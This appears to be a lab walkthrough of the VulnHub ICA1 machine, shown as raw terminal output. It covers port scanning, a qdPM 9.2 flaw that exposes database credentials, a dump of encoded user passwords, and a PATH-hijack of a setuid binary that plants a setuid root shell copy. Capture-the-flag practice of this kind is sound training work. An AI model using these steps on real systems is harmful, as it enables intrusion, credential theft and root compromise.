┌──(mikannse㉿kali)-[~/vulnhub/ica1] └─$ sudo nmap --min-rate=10000 -p- 192.168.56.136 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 15:32 CST Nmap scan report for 192.168.56.136 Host is up (0.00063s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3306/tcp open mysql 33060/tcp open mysqlx MAC Address: 08:00:27:20:F6:7B (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 19.67 seconds
┌──(mikannse㉿kali)-[~/vulnhub/ica1] └─$ sudo nmap -sT -sC -sV -O -p22,80,3306,33060 192.168.56.136 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 15:33 CST Nmap scan report for 192.168.56.136 Host is up (0.00076s latency).
┌──(mikannse㉿kali)-[~/vulnhub] └─$ cat 50176.txt # Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated) # Date: 03/08/2021 # Exploit Author: Leon Trappett (thepcn3rd) # Vendor Homepage: https://qdpm.net/ # Software Link: https://sourceforge.net/projects/qdpm/files/latest/download # Version: 9.2 # Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4
The password and connection string for the database are stored in a yml file. To access the yml file you can go to http://<website>/core/config/databases.yml file and download.
MySQL [staff]> select * login; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'login' at line 1 MySQL [staff]> select * from login; +------+---------+--------------------------+ | id | user_id | password | +------+---------+--------------------------+ | 1 | 2 | c3VSSkFkR3dMcDhkeTNyRg== | | 2 | 4 | N1p3VjRxdGc0MmNtVVhHWA== | | 3 | 1 | WDdNUWtQM1cyOWZld0hkQw== | | 4 | 3 | REpjZVZ5OThXMjhZN3dMZw== | | 5 | 5 | Y3FObkJXQ0J5UzJEdUpTeQ== | +------+---------+--------------------------+
dexter@debian:~$ cat note.txt It seems to me that there is a weakness while accessing the system. As far as I know, the contents of executable files are partially viewable. I need to find out if there is a vulnerability or not
int __cdecl main(int argc, constchar **argv, constchar **envp) { setuid(0); setgid(0); system("cat /root/system.info"); if ( socket(2, 1, 0) == -1 ) puts("Could not create socket to access to the system."); else puts("All services are disabled. Accessing to the system is allowed only within working hours.\n"); return0; }
dexter@debian:/tmp$ echo"cp /bin/bash /tmp/root_bash;chmod +xs /tmp/root_bash" >cat dexter@debian:/tmp$ chmod +x cat dexter@debian:/tmp$ export PATH=/tmp:$PATH dexter@debian:/tmp$ /opt/get_access All services are disabled. Accessing to the system is allowed only within working hours.
